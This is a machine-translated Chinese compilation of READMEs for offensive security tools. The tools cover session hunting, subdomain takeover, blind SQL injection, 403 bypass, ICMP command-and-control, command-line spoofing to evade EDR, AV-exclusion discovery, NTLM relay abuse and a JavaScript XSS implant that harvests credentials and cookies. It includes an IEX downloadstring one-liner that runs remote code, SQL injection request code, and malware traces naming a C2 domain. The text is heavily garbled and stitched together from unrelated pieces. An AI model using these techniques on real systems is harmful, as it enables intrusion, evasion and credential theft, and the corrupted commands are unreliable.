根据ShellScan或ShellCSV的结果，根据需要修改熵值。根据需要修改文件扩展名。无需在非ASPX应用程序上查找ASPX。修改路径。我不建议只扫描所有C: \，要过滤很多。修改所需的任何过滤器。运行！如果您在这里做到了，这是您迭代调整的部分。找到新的外壳？收集熵并根据需要进行修改。 问题 可以随意打开GIT问题。 谢谢 如果您喜欢这个项目，请务必与家人和朋友分享该项目。

检索并显示有关远程计算机上活动用户会话的信息。无需管理特权。 该工具利用远程注册表服务在远程计算机上查询HKEY_USERS注册表。它标识并提取与活动用户会话关联的安全标识符（SID），并将其转换为相应的用户名，从而提供有关当前登录的人的见解。 如果提供了-CheckAdminAccess开关，它将通过对您使用Invoke -WmireMoting进行本地管理员访问的目标进行认证来收集会话（这很可能会检索更多结果） 重要的是要注意，远程注册表服务需要在远程计算机上运行，才能有效地工作。在我的测试中，如果该服务已停止，但其启动类型已配置为“自动”或“手动”，则该服务将在查询后自动在目标计算机上自动启动（这是本机行为），并且会话信息将被检索。如果设置为“禁用”，则不会从目标中检索任何会话信息。 用法： IEX（new-object net.webclient）.downloadstring（'3https://raw.githubusercorcontent.com/leo4j/leo4j/invoke-sessionhunter/main/main/invoke-sessionhunter.ps1'）如果在没有参数或切换的情况下运行的情况下，它将通过参数恢复所有计算机的groment in CORTARING for AIT CORTAIND ALL CORTIEND ARCOINS for ALL COMERITION，所有计算机都在所有计算 通过对您拥有本地管理员访问的目标进行身份验证来调用sessionhunter聚集会议 Indoke -SessionHunter -CheckasAdmin您可以选择以以下格式提供凭据 Indoke -SessionHunter -Checkasadmin -username'Ferrari \ Administrator'-Password'P@SSW0RD！'您也可以使用-FailSafe Switch，如果目标远程注册表变得无反应，则可以指示该工具继续进行。 这可以与-Timeout |默认值=2，对于较慢的网络增加。 Indoke -SessionHunter -FailSafe Invoke -SessionHunter -FailSafe -Timeout 5使用-Match Switch仅显示您已访问管理员并登录特权用户的目标 Invoke -SessionHunter-匹配所有开关都可以组合 Indoke -SessionHunter -Checkasadmin -username'Ferrari \ Administrator'-Password'P@SSW0RD！' -FailSafe -Timeout 5 -Match 指定目标域 Invoke-SessionHunter -Domain contoso.local 指定目标的逗号分隔列表或包含目标列表的文件的完整路径 - 每行一个 Invoke-SessionHunter -Targets 'DC01,Workstation01.contoso.local' Invoke-SessionHunter -Targets c:010\Users\Public\Documents\targets.txt 仅在服务器上检索有关活动用户会话的信息 Invoke-SessionHunter -Servers 仅在工作站上检索有关活动用户会话的信息 Invoke-SessionHunter -Workstations 仅显示指定用户的活动会话 Invoke-SessionHunter -Hunt 'Administrator' 从会话检索中排除本地主机 Invoke-SessionHunter -IncludeLocalHost 返回自定义PSOBJECTS，而不是表格形式的结果 Invoke-SessionHunter -RawResults 在尝试检索会话之前，请勿运行端口扫描以列举活着的主机 Note: if a主机无法到达它会悬挂一段时间 调用- sessionhunter -noportscan

子域的接管是一个常见的漏洞，它使攻击者可以控制目标域的子域，并重定向将组织的域名用于执行恶意活动的网站，例如网络钓鱼活动，窃取用户cookie等。当攻击者获得对目标域的子域的控制时，会发生攻击者。通常，当子域在DNS中具有CNAME时，这会发生这种情况，但是没有主机为其提供内容。 Subunter列出了给定的子域的title='subdomains'subdomains，并扫描它们以检查此漏洞。 功能： 自动更新使用GO内置的随机用户代理使用来自众所周知的来源（CAN-I-TAKE-OVER-XYZ）的指纹数据 安装： :010 选项1： 从版本下载 选项2： 从源:构建 $ git克隆https://github.com/nemesis0u/subhunter.git $ GO Build subhunter.go 用法： 选项： 使用SubHunter: -l字符串 文件包括扫描主机列表 -o字符串 文件以保存结果 -t int 扫描的线程数（默认为50） -TimeOut int 超时为秒（默认20） 演示（为POC添加了假指纹）： ./subhunter -l subdomains.txt -o test.txt ____ _ _ /___ | | __ | | __ _ _ _ __ | | __ _ ___ | | _ ___ ___ __ __ \ ___ \ | | | | | '_ \ | '_ \ | | | | | '_ \ | __ |/_ \ | '__ | ___）| | | | _ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | _ | __/| | | ____/\ __，_ | | _.__/| _ | | _ | \ __，_ | | _ | | _ | | _ | \ __ | \ ___ | \ ___ | | _ | 快速的子域收购工具 由克星创建 用于电流扫描的88个指纹 ------------------------------------------------------------------------------------------------------------------------ [+]在www.ubereats.com:上找不到任何东西 [+]在testauth.ubereats.com:上什么都没易受伤害 [+] Apple-Maps-App-clip.ubereats.com:在不脆弱的 [+]在about.ubereats.com:上找不到任何不脆弱的 [+]在beta.ubereats.com:上什么都不脆弱 [+]在ewp.ubereats.com:上什么都没脆弱 [+] nothi ng在edgetest.ubereats.com:上发现不脆弱 [+] guest.ubereaats.com:在不脆弱的 [+] google cloud:可能在testauth.ubereaats.com:易受伤害 [+]在info.ubereats.com:上找不到任何东西 [+]在Learn.ubereats.com:上什么都不易受伤害 [+]在erschants.ubereats.com:上找不到任何易受伤害的 [+]在guest-beta.ubereats.com:上什么都不脆弱 [+]在商人help.ubereats.com:上什么都没有发现 [+]在merchants-beta.ubereats.com:上找不到任何东西 [+]在Merchants Staging.ubereats.com:上找不到任何脆弱 [+]在messages.ubereats.com:上找不到任何易受伤害的 [+]在order.ubereats.com:上找不到任何不脆弱的 [+]在restaurants.ubereats.com:上什么都不易受伤害 [+]在付款中找不到任何东西 [+]在static.ubereats.com:上找不到任何不脆弱的 子猎人退出. 结果写在test.txt上

Hakuin是盲目的SQL注入（BSQL）优化和自动化框架，它在Python 3中编写。它抽象了推理逻辑，并允许用户轻松有效地从弱点的Web应用程序中提取数据库（DB）。为了加快流程的加快，Hakuin采用了各种优化方法，包括预训练和适应性语言模型，机会猜测，并行性等等。 Hakuin曾在尊敬的学术和工业会议上介绍: -Blackhat Mea，Riyadh，2023年- 盒子里的黑客，2023年，IEEE SP SP SP SP SP SP Workshop（Woot），2023年，2023年 更多信息可以在我们的论文和幻灯片中找到。 安装 要安装Hakuin，只需运行: PIP3安装Hakuin开发人员应在本地安装软件包，并为可编辑模式设置-E标志: git克隆[emailProtected] :pruzko/hakuin.git CD Hakuin PIP3安装-e。 示例 确定BSQL漏洞后，您需要告诉Hakuin如何注入其查询。为此，请从请求者中得出一个类，然后覆盖请求方法。同样，该方法必须确定查询是否已解决为true或false。 示例1-基于状态推理的查询参数注入 导入AIOHTTP 来自Hakuin进口请求者 班级现状Requester（请求者）: 异步def请求（self，ctx，查询）: r=等待aiohttp.get（f'http://vuln.com/？n=xxx'或（{query}） - '） 返回r.status==200 示例2-带基于内容的推理的标头注入 类ContentRequester（请求者）: 异步def请求（self，ctx，查询）: headers={'viles-header': f'xxx'或（{query}） - '} r=等待aiohttp.get（f'http://vuln.com/'，headers=标题） 在等待r.text（）中返回“找到”以开始提取数据，使用提取器类。它需要一个DBMS对象来构建查询和一个请求者对象才能注入它们。 Hakuin当前支持SQLITE，MySQL，PSQL（PostgreSQL）和MSSQL（SQL Server）DBMSS，但很快将包含更多选项。如果您希望支持另一个DBM，请在Hakuin/dbms/dbms.py中实现DBMS接口。 示例1-提取sqlite/mysql/psql/mssql 进口Asyncio 来自Hakuin进口提取器，请求者 来自hakuin.dbms import sqlite，mysql，psql，mssql 班级现状Requester（请求者）: . 异步def main（）: ＃requester:使用此请求者 ＃DBMS:使用此DBMS ＃N_TASKS:产生n任务，这些任务并行提取列行 ext=extractor（requester=statusrequester（），dbms=sqlite（），n_tasks=1） . 如果__name__=='__ -Main __': asyncio.get_event_loop（）。run_until_complete（main（））现在设置了所有内容，您可以开始提取DB元数据。 示例1-提取DB架构 ＃策略: ＃'Binary':使用二进制搜索 ＃'Model':使用预训练的模型 schema_names=等待ext.extract_schema_names（策略='模型'） 示例2-提取表 表=等待ext.extract.extract_tract_table_names（策略='模型'） 示例3-提取列 列=等待ext.ext.ext._column_names（ext._column_names） ext.extract_meta（stragity='模型'）一旦知道结构，就可以提取实际内容。 示例4-将表和列一起提取 ＃text_strategy:如果列是文本，请使用此策略 res=等待ext.extract_column（table='用户'，column='address'，text_strategy='dynamic'） 示例1-提取通用列 ＃strategy: ＃'Binary':使用二进制搜索 ＃“五克” :使用五克模型 ＃'umigram':使用Umigram模型 ＃'Dynamic':动态确定最佳策略。此设置 ＃还可以使机会主义猜测。 res=等待ext.extract_column_text（table='用户'，列='地址'，策略='dynamic'） 示例2-提取文本列 res res=等待ext.extract.extract_column_int（table='用户'，列='id' res=等待ext.extract_column_blob（table='用户'，column='id'）可以在测试目录中找到更多示例。 示例3-提取整数列 Hakuin配备了一个简单的包装工具HK.PY，它使您可以直接从命令行中使用Hakuin的基本功能。要了解更多，Run: Python3 HK.PY -H 示例4-提取浮柱 该存储库是为满足安全实践者需求而积极开发的。希望重现我们论文中描述的实验的研究人员应安装冷冻版本，因为它包含原始代码，实验脚本和用于复制结果的说明手册。 示例5-提取斑点（二进制数据）列 @inproceedings {hakuin_bsqli， title={hakuin:用概率语言模型优化盲sql注入}， 作者={pru {\ v {z}} inec，jakub和nguyen，quynh anh}， BookTitle={2023 IEEE安全和隐私研讨会（SPW）}， 页={384--393}， 年={2023}， 组织={IEEE} }

原始403fuzzer.py :） 旁路的Fuzz 401/403端点 该工具通过标头，路径归一化，动词等执行各种检查，以尝试绕过ACL或URL验证。 它将以良好组织的颜色编码方式输出每个请求的响应代码和长度，以使事情变得可重。 我实现了一个“智能过滤器”，可让您静音响应，这些响应在一定次数之后看起来相同。 现在，您可以将其保存到BURP的文件中的原始HTTP请求。 在Twitter上关注我！ @intrudir 用法 USAGE: BYPASSFUZZER.PY -H 指定测试请求 最佳方法：向其喂给BURP的原始HTTP请求！ 只需将请求粘贴到文件中并运行脚本！ - 它将解析并使用请求中的cookie标头。 - 为您的请求进行身份验证的最简单方法 python3 bypassfuzzer.py -r request.txt 使用其他标志 指定url python3 bypassfuzzer.py -u -u http://example.com/test1/test1/test2/test2/test3/forbidden.html指定cookie cookie cookie cookie cookie in Requests:一些示例3: -cookies'cookie1=blah' -c'cookie1=blah; cookie2=blah'指定一个方法/动词和身体数据以发送bypassfuzzer.py -u -u https://Example.com/forbidden -m post -d'param1=blahparam2=blah2=blah2' bypassfuzzer.py -u -u https://example.com/forbidden -m put -d param1=blahparam2=blah2' 为您要添加的每个其他标头指定-H'Header:值' bypassfuzzer.py -u https://Example.com/forbidden -h'some -header: blah'-h'授权:持久者1234567' 智能过滤器功能！ 基于响应代码和长度。如果看到响应8次或更多，它将自动静音。 重复序列在代码中可更改，直到我添加一个选项将其指定在标志中 Note:不能与-hc或-hl同时使用（尚未）＃切换智能过滤器 bypassfuzzer.py -u https://example.com/forbidden -smart 指定使用的代理 如果您想通过burp代理人有用 bypassfuzzer.py -U https://Example.com/forbidden -proxy 3http://127.0.0.0.13:8080 :01 跳过发送标头有效载荷或URL有效载荷 ＃跳过发送标头有效载荷 bypassfuzzer.py -U https://Example.com/forbidden -SH bypassfuzzer.py -U https://Example.com/forbidden -skip -headers ＃跳过发送路径正常化有效载荷 bypassfuzzer.py -u -u https://example.com/forbidden -su bypassfuzzer.py -U https://Example.com/forbidden -skip-urls 隐藏响应代码/长度 提供无空间的逗号分隔列表。示例: ＃隐藏响应代码 bypassfuzzer.py -U https://Example.com/forbidden -HC 403,404,400 ＃隐藏响应长度为638 bypassfuzzer.py -U https://Example.com/forbidden -Hl 638 todo [x]自动检查其他方法/动词/旁路[x]绝对域攻击[]添加http/2支持[]支持[]寻找想法。在Twitter上ping我！ @Intrudir

Pingrat使用ICMP有效载荷通过防火墙秘密地通过C2流量。 功能： 使用ICMP用于命令和控制，大多数AV/EDR解决方案在GO 安装： 中都无法检测到下载二进制文件 或构建二进制文件，您准备好使用: $ git克隆https://github.com/nemesis0u/pingrat.git $ GO Build Client.go $ go build server.go 用法： 服务器： ./server -H 使用./server: -d字符串 目标IP地址 - 我字符串 侦听器（虚拟）网络接口（例如ETH0） 客户端： ./client -H 使用./client: -d字符串 目标IP地址 - 我字符串 （虚拟）网络接口（例如ETH0）

LOLSPOOF是一个交互式外壳程序，它会自动欺骗产卵过程的命令行参数。只需调用您的犯罪命令行LOLBIN（例如PowerShell -W隐藏-enc Zwblahqalqalqbwahiabwbjagua .），LOLSPOOF将确保过程创建遥测似乎合法且清晰。 为什么 Process命令行是一项非常受监控的遥测，由AV/EDRS，SOC分析或威胁猎人彻底检查。 如何 Prepares the spoofed command line out of the real one: lolbin.exe ' ' * sizeof(real arguments) Spawns that suspended LOLBin with the spoofed command line Gets the remote PEB address Gets the address of RTL_USER_PROCESS_PARAMETERS struct Gets the address of the command line unicode buffer Overrides the fake command line with the real one Resumes the main thread OPSEC注意事项 尽管这种简单的技术有助于绕过命令行检测，但它可能会介绍其他可疑的遥测: 1。创建悬浮过程2。新过程具有落后的空间（但是很容易使其成为重复的字符甚至随机数据）3。 构建 使用NIM 1.6.12构建（用NIM 2.x编译会产生错误！） 敏捷安装Winim 已知问题 程序清除或更改以前的打印控制台消息（例如timeout.exe 10）会打破程序。使用此类命令后，您需要重新启动控制台。不知道如何解决这个问题，向建议开放。

SQLMC（SQL注入大量检查器）是一种旨在扫描SQL注入漏洞的域的工具。它将给定的URL爬到指定的深度，检查每个链接是否有SQL注入漏洞，并报告其发现。 功能 Scans a domain for SQL injection vulnerabilities Crawls the given URL up to a specified depth Checks each link for SQL injection vulnerabilities Reports vulnerabilities along with server information and depth 安装 Install the required dependencies: bash pip3 install sqlmc 用法 Run sqlmc with the following command-line参数: -U，-URL:要扫描的URL（必需）-d，-depth:扫描的深度（必需）-o，-ox -output:输出文件以保存结果示例示例: SQLMC -U http://Example.com -D 2用您要扫描的URL替换http://Example.com，并在扫描的所需深度中扫描3。您还可以使用-o或-utput标志，然后是所需的文件名来指定输出文件。 然后，该工具将执行扫描并显示结果。 todo 检查多个GET参数的检查更好的注射检查器触发方法 信用 由Miguelálvarez开发的 许可证 此项目已根据GNU Affero通用公共许可证v3.0许可。

BadexClusionsNWBO是从BadexClusions的演变，可以在AV/EDR上识别文件夹自定义或无证件排除。 它如何工作？ badexclusionsnwbo副本并在给定路径的所有文件夹和子文件夹中运行hook_checker.exe。您需要在badexclusionsnwbo.exe的同一文件夹上使用hook_checker.exe。 hook_checker.exe返回EDR钩子的数量。如果挂钩的数量为7或以下，则含义文件夹具有排除，否则不会排除文件夹。 原始想法？ 自Badexclusions发布以来，我一直在考虑如何在不产生那么多噪声的情况下实现相同的结果。该解决方案来自另一个工具https://github.com/asaurusrex/probatorum-edr-userland-hook-checker。 如果您下载portotorum-edr-userland-hook-checker，并且在带有特定类型的排除类型的常规文件夹和文件夹中运行它，您会发现巨大的差异。所有信息均在认证设备存储库上。 要求 每个供应商以不同的方式应用排除。为了获取文件夹的列表，应制定特定类型的排除类型。并非所有类型的排除类型，也不是所有供应商在排除文件夹时删除钩子。 运行badexclusionsnwbo的用户需要在排除的文件夹上写入权限，以便编写hook_checker文件并获取结果。 EDR演示 https://github.com/iamagarre/badexclusionsnwbo/assets/89855208/46982975-F4A5-4894-B78D-8D-8D6ED9B1C8C4

描述 在Code Blue 2023上提出，该项目标题为WDM驱动程序中具有符号执行和Taint Analysis中的WDM驱动程序中的增强漏洞狩猎，该项目介绍了IOCTLANCE，该工具增强了其检测Windows驱动程序模型（WDM）驱动程序中各种漏洞类型的能力。在涉及104个已知脆弱的WDM驱动程序和328个未知n的全面评估中，Ioctlance在26个不同的驱动因素中成功公布了117个以前未知的漏洞。结果，报告了41个CVE，其中包括25例拒绝服务的案例，5个访问控制不足的实例以及11个特权提升的例子。 功能 目标漏洞类型 map physical memory controllable process handle buffer overflow null pointer dereference read/write controllerable address arbitrary shellcode execution arbitrary wrmsr arbitrary out dangerous file operation 可选自定义 length limit loop bound total timeout IoControlCode timeout recursion symbolize data section 构建 docker（推荐） docker build . local DPKG - ADD-Architecture I386 apt-get更新 apt-get安装git build-esential python3 python3-pip python3-dev htop htop vim sudo \ OpenJDK-8-JDK ZLIB1G:I386 LIBTINFO53:I386 LIBSTDC ++ 6:I386 LIBGCC1:I386 \ libc6:i386 libssl-dev nasm binutils-multiarch qtdeclarative5-dev libpixman-1-dev \ libglib2.0-dev debian-archive-keyring debootstrap libtool libtool libreadline-dev cmake \ cmake \ libffi-dev libxslt1-dev libxml2-dev pip安装angr==9.2.18 ipython==8.5.0 ipdb==0.13.9 分析 ＃python3 Analysis/ioctlance.py -H usage: ioctlance.py [-h] [-i ioctlcode] [-g global_var] [-a address] [-e排除] [-o] [-r] [-c] [-d] 小路 位置参数: 路径dir（包括子目录）或到达驱动程序的文件路径进行分析 可选参数: -h， - 赫尔普显示此帮助消息和退出 -i ioctlcode，-ioctlcode ioctlcode 分析指定的Iocontrolcode（例如22201c） -t total_timeout，-total_timeout total_timeout 整个符号执行的总超时（默认为1200，0 to Unlimited） -t超时， - 超时超时 分析每个iocontrololcode的超时（默认40，0到无限） -l长度，长度 技术指令数量l Engthlimiter（默认为0，0） 无限） -b绑定，绑定 技术界限（默认为0，0 to Unlimited） -g global_var，-global_var global_var 象征.DATA段中有多少个字节（默认为0 hex） -a地址， - 地址地址 IOCTL处理程序的地址直接开始使用空白状态狩猎（例如 140005c20） -e排除， - 排除 排除功能地址（例如140005C20,140006C20） -o， - overwrite覆盖x.sys.json如果已分析x.sys（默认为false） -r， - 回归如果检测递归（默认为false），请勿杀死状态 -c， - 完整获取完整的基本状态（默认错误） -d， - 分析（默认为false） 评估 ＃python3评估/statistics.py -H USAGE: Statistics.py [-h] [-w]路径 位置参数: 路径目标dir或文件路径 可选参数: -h， - 赫尔普显示此帮助消息和退出 -w，-wdm将WDM驱动程序复制到路径/WDM 测试 中，编译了测试中的测试示例以生成测试驱动程序文件。对Drvier文件运行IOCTLANE。 参考 UCSB-Seclab/popkorn-artifact eclypact/螺丝驱动器koutto/ioctlbf生活在土地驱动程序之外

NTLM继电器GAT是一种功能强大的工具，旨在使用Impacket工具套件中的NTLMRELAYX.PY自动化NTLM继电器的利用。通过利用ntlmrelayx.py的功能，NTLM继电器gat简化了利用NTLM继电器漏洞的过程，提供了一系列功能，从列出SMB共享到执行MSSQL数据库上的命令。 功能 多线程支持:使用多个线程同时执行操作。 SMB共享枚举:列表可用SMB股份。 SMB Shell Execution:通过SMB执行外壳。秘密将目标转储为:转储秘密。 MSSQL数据库枚举:可用的MSSQL数据库。 MSSQL命令执行:通过XP_CMDSHELL执行操作系统命令或启动SQL Server代理作业。 先决条件 在您开始之前，请确保满足以下要求: 使用ntlmrelayx袜子中继python python 3.6+ 安装 安装ntlm接力gat，请按照以下步骤: 确保系统上安装了3.6或更高的Python。 克隆NTLM继电器GAT repository: git克隆https://github.com/ad0nis/ntlm_relay_gat.git CD NTLM_RELAY_GAT安装依赖项，如果您没有安装它们: PIP install -R Euncess.txt NTLM继电器gat现在已安装并准备使用。 用法 要使用NTLM继电器GAT，请确保您在ntlmrelayx.py的Socks命令命令输出中有继电器会话，并且您具有配置的ProxyChains来使用Ntlmrelayx.py的Proxy，然后使用所需的选项执行脚本。以下是如何运行NTLM继电器GAT:的一些示例 ＃使用10个线程列表可用SMB共享 python ntlm_relay_gat.py- -smb -shares -t 10 ＃通过SMB执行外壳 python ntlm_relay_gat.py- -smb-shell -shell-Path/path/to/shell ＃来自目标的转储秘密 python ntlm_relay_gat.py- dump-secrets ＃可用的列表MSSQL数据库 python ntlm_relay_gat.py-mssql-dbs ＃通过xp_cmdshell执行操作系统命令 Python NTLM_RELAY_GAT.PY-MSSQL-EXEC -MSSQL-METHOD 1 -MSSQL-COLMAND'WHOAMI'WHOAMI' 免责声明 NTLM接力GAT旨在用于教育和伦理渗透测试。未经事先共同同意的未经事先同意的攻击目标使用NTLM继电器GAT是非法的。 NTLM继电器GAT的开发商不承担任何责任，并且对此工具造成的任何滥用或损害概不负责。 许可证 此项目是根据MIT许可证获得许可的- 有关详细信息，请参见许可证文件。

Golang二进制文件的命令行Windows Windows API跟踪工具。 Note:此工具是POC，并且是在进行中的工作原型，因此请这样对待。总是欢迎反馈！ 它如何工作？ 虽然Golang程序对它们的构建方式和运行时的行为有很多细微差别，但它们仍然需要与OS层进行交互，这意味着在某个时候，他们确实需要从Windows API调用功能。 GO运行时软件包包含一个称为ASMSTDCALL的函数，此功能是一种用于与Windows API交互的“网关”。由于该功能可以调用Windows API函数，因此我们可以假设它需要访问信息，例如该功能的地址及其参数，这就是事物开始变得更加有趣的地方。 ASMSTDCALL接收一个单个参数，该参数指向与以下结构相似的东西的指针: struct libcall { dword_ptr addr; dword argc; dword_ptr argv; dword_ptr returnValue; [.] }这些字段中的某些字段被填充后，称为API函数（例如返回值，Asmstdcall收到的返回值），例如函数地址，参数数量和参数列表。无论何时设置这些设置，很明显，ASMSTDCALL函数会操纵有关Golang编译程序执行的许多有趣信息。 GFTRACE利用ASMSTDCALL及其在监视上述结构的特定字段并将其记录到用户的工作方式。该工具能够记录函数名称，它的参数以及Golang应用程序调用的每个Windows函数的返回值。所有这些都无需连接单个API功能或为其具有签名。 该工具还试图忽略GO运行时初始化中的所有噪声，而仅在其之后调用的日志函数（即来自主包装的函数）。 如果您想了解更多有关此项目的信息，请检查博客文章。 安装 下载最新版本。 用法 确保gftrace.exe，gftrace.dll和gftrace.cfg在同一目录中。指定您要在gftrace.cfg文件中跟踪的API功能（如果没有应用API过滤器，该工具就无法使用）。运行gftrace.exe将目标golang程序路径作为参数。 gftrace.exe filepath params 配置 您需要做的只是指定要在gftrace.cfg文件中跟踪的功能 createFilew，readfile，createProcessw确切的Windows API功能一个软件包的Golang方法X在特定方案中只能通过分析方法本身或试图猜测来确定。可以使用一些有趣的特征来确定它，例如，Golang应用程序似乎总是更喜欢从“宽”和“ ex”集中调用功能（例如CreateFilew，createProcessw，getComputernameexw等），因此您可以在分析过程中考虑它。 默认配置文件包含我已经测试过的多个功能（至少其中的大部分），并且可以确保在某个时候可以通过Golang应用程序调用它们。我将最终尝试更新它。 示例 跟踪CreateFilew（）和ReadFile（）在一个简单的Golang文件中，该文件调用'os.ReadFile'Twice: -CreateFileW（'C: \ USER \ USER \ desktop \ doc.txt'，0x80000000，0x3，0x0，0x3，0x3，0x1，0x0）=0x168（360） - readfile（0x168，0xc000108000，0x200，0xc000075d64，0x0）=0x1（1） -CreateFileW（'C: \ USER \ USER \ desktop \ doc2.txt'，0x80000000，0x3，0x0，0x3，0x1，0x1，0x0）=0x168（360） - readfile（0x168，0xc000108200，0x200，0xc000075d64，0x0）=0x1（1）在隧道Malware:中跟踪CreateProcessw（） - CreateProcessW('C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe', 'powershell /c 'Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |。 - CreateProcessW('C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe', 'powershell /c 'Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |。 - CreateProcessW('C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe', 'powershell /c 'Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddres s |。 - CreateProcessW('C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe', 'powershell /c 'Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |。 - CreateProcessW('C:\WINDOWS\system32\cmd.exe', 'cmd /c 'wmic computersystem get domain'',0x0,0x0,0x1,0x80400, '=C:=C:\Users\user\Desktop',0x0,0xc0000c4ef0,0xc0000c4dc0）=0x1（1） - CreateProcessW('C:\WINDOWS\system32\cmd.exe', 'cmd /c 'wmic computersystem get domain'',0x0,0x0,0x1,0x80400, '=C:=C:\Users\user\Desktop',0x0,0xc0000acc0,0xC0000ACD90）=0x1（1） - CreateProcessW('C:\WINDOWS\system32\cmd.exe', 'cmd /c 'wmic computersystem get domain'',0x0,0x0,0x1,0x80400, '=C:=C:\Users\user\Desktop',0x0,0xc0000bcec0,0xC0000BCD90）=0x1（1） [.]在Sunshuttle Malware:中追踪多个功能 - CreateFileW('config.dat.tmp',0x80000000,0x3,0x0,0x3,0x1,0x0)=0xffffffffffffffffffffff (-1) -CreateFileW（'config.dat.tmp'，0xc0000000，0x3，0x0，0x2，0x80，0x0）=0x198（408） -CreateFileW（'config.dat.tmp'，0xc0000000，0x3，0x0，0x3，0x80，0x0）=0x1a4（420） -WriteFile（0x1a4，0xc000112780，0xeb，0xc000000c79d4，0x0）=0x1（1） -getAddrinFow（'reyweb.com'，0x0，0xc00000031f18，0xc000031e88）=0x0（0） -wsasocketw（0x2，0x1，0x0，0x0，0x81）=0x1f0（496） -wsasend（0x1f0，0xc00004f038，0x1，0xc0000004f020，0x0，0xc0000004eff0，0x0）=0x0（0） -WSARECV（0x1f0，0xc00004ef60，0x1，0xc000048，0xc0000004efd0，0xc0000004ef18，0x0）=0xffffffff（-1） -getAddrinFow（'reyweb.com'，0x0，0xc00000031f18，0xc000031e88）=0x0（0） -wsasocketw（0x2，0x1，0x0，0x0，0x81）=0x200（512） -wsasend（0x200，0xc00004f2b8，0x1，0xc00004f2a0，0x0，0xc0000004f270，0x0）=0x0（0） -wsarecv（0x200，0xc00004f1e0，0x1，0xc00004f1c8，0xc0000004f250，0xc0000004f198，0x0）=0xffffffff（-1） [.]在DEIMOSC2框架代理:中追踪多个功能 -wsasocketw（0x2，0x1，0x0，0x0，0x81）=0x130（304） -setSockopt（0x130，0xffff，0x20，0xc000000b7838，0x4）=0xffffffff（-1） - 插座（0x2，0x1，0x6）=0x138（312） -wsaioctl（0x138，0xc8000006，0xaf0870，0x10，0xb38730，0x8，0x8，0xc000000b746c，0x0，0x0，0x0）=0x0（0） -getModuleFilenameW（0x0，'C: \ users \ user \ desktop \ samples \ deimos.exe'，0x400）=0x2f（47） -getUserProfofileDirectoryW（0x140，'C: \ User \ User'，0xc0000b7a08）=0x1（1） -lookupaccountsidw（0x0，0xc00000E250，'用户'，0xc0000b796c，'桌面检测'，0xc000000b7970，0xc000000b79f0）=0x1（1）（1） -netusergetInfo（'桌面测试'，'用户'，0xa，0xc0000b7930）=0x0（0） -getComputerNameExw（0x5，'桌面测试'，0xc000000b7b78）=0x1（1） -getAdaptersAddresses（0x0，0x10，0x0，0xc000120000，0xc0000b79d0）=0x0（0） -createToolHelp32snapshot（0x2，0x0）=0x1b8（440） -getCurrentProcessID（）=0x2584（9604） -getCurrentDirectoryW（0x12c，'C: \ users \ user \ user \ appdata \ local \ program \ program \ retoolkit \ bin'）=0x39（57） [.] 未来功能： [x]支持对32个位文件的检查。 [x]通过“ IAT JMP表”而不是直接在ASMSTDCALL中的API调用来添加支持文件的支持。 [X]为目标过程的CMDLINE参数添加支持[]将跟踪日志输出发送到文件默认情况下，以使其更好地过滤。当前，目标文件和GFTRACE输出之间没有分离。另一种方法是使用命令行重定向GFTRACE输出到文件。 ：警告：警告 该工具会动态检查目标二进制，这意味着执行了所跟踪的文件。如果您正在检查恶意软件或未知软件，请确保在受控的环境中进行。 Golang程序可能会非常嘈杂，具体取决于文件和/或函数的追踪（例如，通过运行时软件包始终将VirtualAlloc多次调用，在呼叫CreateProcessw等调用之前，CreateFilew多次被称为createfilew）。该工具忽略了Golang运行时初始化噪声，但此后，用户可以决定哪种功能在每种情况下都更好地过滤。 许可证 GFTRACE以GPL V3许可发布。有关更多信息，请参考名称许可证的文件。

JavaScript有效载荷和支持软件将用作XSS有效载荷或后剥削植入物，以在使用目标应用程序时监视用户。还包括一个用于在客户端执行自定义JavaScript有效载荷的C2。 ChangElogs 项目公告中记录了重大更改: https://github.com/hoodoer/js-tap/discussions/categories/annuncements 演示 您可以阅读有关JS-TAP的原始博客文章: javascript-for-Red-Teams'https://TrustedSec.com/blog/js-tap-tap-weponizing-javascript-for-red-teams JS-TAP版本1:的Shmoocon的简短演示 https://youtu.be/idlmmiqv6ss？si=xunvnvarqsijx_x0t=19814 Hackspacecon的JS-TAP版本2的演示，包括C2以及如何将其用作后剥削植入物: https://youtu.be/awvnljnqobq?t=11719 在此Webinar:中也可以看到演示 https://youtu.be/c3b5debhme？si=ctjrqpklov2xv7um 升级警告 我不打算为数据库创建迁移脚本，并且版本号凸起通常涉及数据库架构更改（检查ChangElogs）。您可能应该在版本凹痕上删除JSTAP.DB数据库。如果您在JS-TAP服务器中具有自定义有效载荷，请确保在升级之前导出它们。 简介 JS-TAP是一种通用的JavaScript有效负载和支持软件，可帮助红色团队攻击WebApps。 JS-TAP有效载荷可用作XSS有效载荷或后剥削植入物。 有效载荷不需要运行有效载荷的目标用户对正在攻击的应用程序进行身份验证，并且除了找到将JavaScript进入应用程序的方法之外，它不需要任何事先了解应用程序的知识。 JS-TAP没有攻击应用程序服务器本身，而是专注于应用程序的客户端，并大量启动客户端代码。 示例JS-TAP有效载荷包含在telemlib.js文件中的有效载荷目录中，但是该目录中的任何文件都未经身份验证。将telemlib.js文件复制到您希望的任何文件名，并根据需要修改配置。该文件尚未被混淆。在使用之前，强烈考虑更改端点的命名，剥离评论并高度混淆有效载荷。 在使用公开曝光的服务器上之前，请确保仔细查看下面的配置部分。 收集的数据 Client IP address, OS, Browser User inputs (credentials, etc.) URLs visited Cookies (that don't have httponly flag set) Local Storage Session Storage HTML code of pages visited (if feature enabled) Screenshots of pages visited Copy of Form Submissions Copy of XHR API calls (if monkeypatch feature enabled)Endpoint Method (GET, POST, etc.) Headers set Request body and响应主体副本的Fetch 